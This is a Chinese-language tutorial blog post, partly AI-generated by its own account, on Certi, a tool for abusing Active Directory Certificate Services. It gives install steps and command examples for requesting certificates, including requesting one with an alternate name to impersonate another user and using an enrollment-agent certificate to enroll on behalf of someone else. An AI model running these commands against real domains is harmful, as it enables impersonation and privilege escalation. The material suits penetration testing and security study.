Certi 项目使用教程

Certi 项目使用教程

certi ADCS abuser 项目地址: https://gitcode.com/gh_mirrors/ce/certi

1. 项目介绍

Certi 是一个用于与 Active Directory 证书服务 (ADCS) 交互的工具。它允许用户请求证书并收集与证书相关的信息。Certi 是基于 Impacket 库开发的,特别感谢 @harmj0y 和 @tifkin_ 在 ADCS 方面的工作。

2. 项目快速启动

2.1 安装 Certi

首先,确保你已经安装了 Python 和 Git。然后,通过以下命令克隆并安装 Certi:

git clone https://github.com/zer1t0/certi.git
cd certi
pip install -r requirements.txt

2.2 请求证书

使用 Certi 请求证书的示例代码如下:

# 获取 TGT
getTGT.py 'contoso.local/Anakin:Vader1234'

# 设置 KRB5CCNAME 环境变量
export KRB5CCNAME=Anakin.ccache

# 请求证书
certi.py req 'contoso.local/Anakin@dc01.contoso.local' contoso-DC01-CA -k -n

3. 应用案例和最佳实践

3.1 请求带有替代名称的证书

在某些情况下,你可能需要请求一个带有替代名称的证书,以便模拟目标用户。以下是一个示例:

certi.py req 'contoso.local/Anakin@dc01.contoso.local' contoso-DC01-CA -k -n --alt-name han --template UserSAN

3.2 使用代理证书请求证书

如果你有权限使用代理证书,可以通过以下步骤请求另一个用户的证书:

# 请求代理证书
certi.py req 'contoso.local/Han@dc01.contoso.local' contoso-DC01-CA -k -n --template EnrollAgent

# 使用代理证书请求另一个用户的证书
certi.py req 'contoso.local/Han@dc01.contoso.local' contoso-DC01-CA -k -n --on-behalf anakin --enroll-cert Han.pfx --enroll-cert-pw admin --template EnrollWithAgent

4. 典型生态项目

Certi 通常与其他安全工具和框架一起使用,例如:

  • Impacket: 一个用于网络协议的 Python 库,Certi 基于此库开发。
  • BloodHound: 用于映射和分析 Active Directory 环境的工具。
  • CrackMapExec: 一个用于渗透测试的工具,可以与 Certi 结合使用来测试 ADCS 的安全性。

通过这些工具的结合使用,可以更全面地评估和提升 Active Directory 环境的安全性。

certi ADCS abuser 项目地址: https://gitcode.com/gh_mirrors/ce/certi

创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

曹俐莉

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值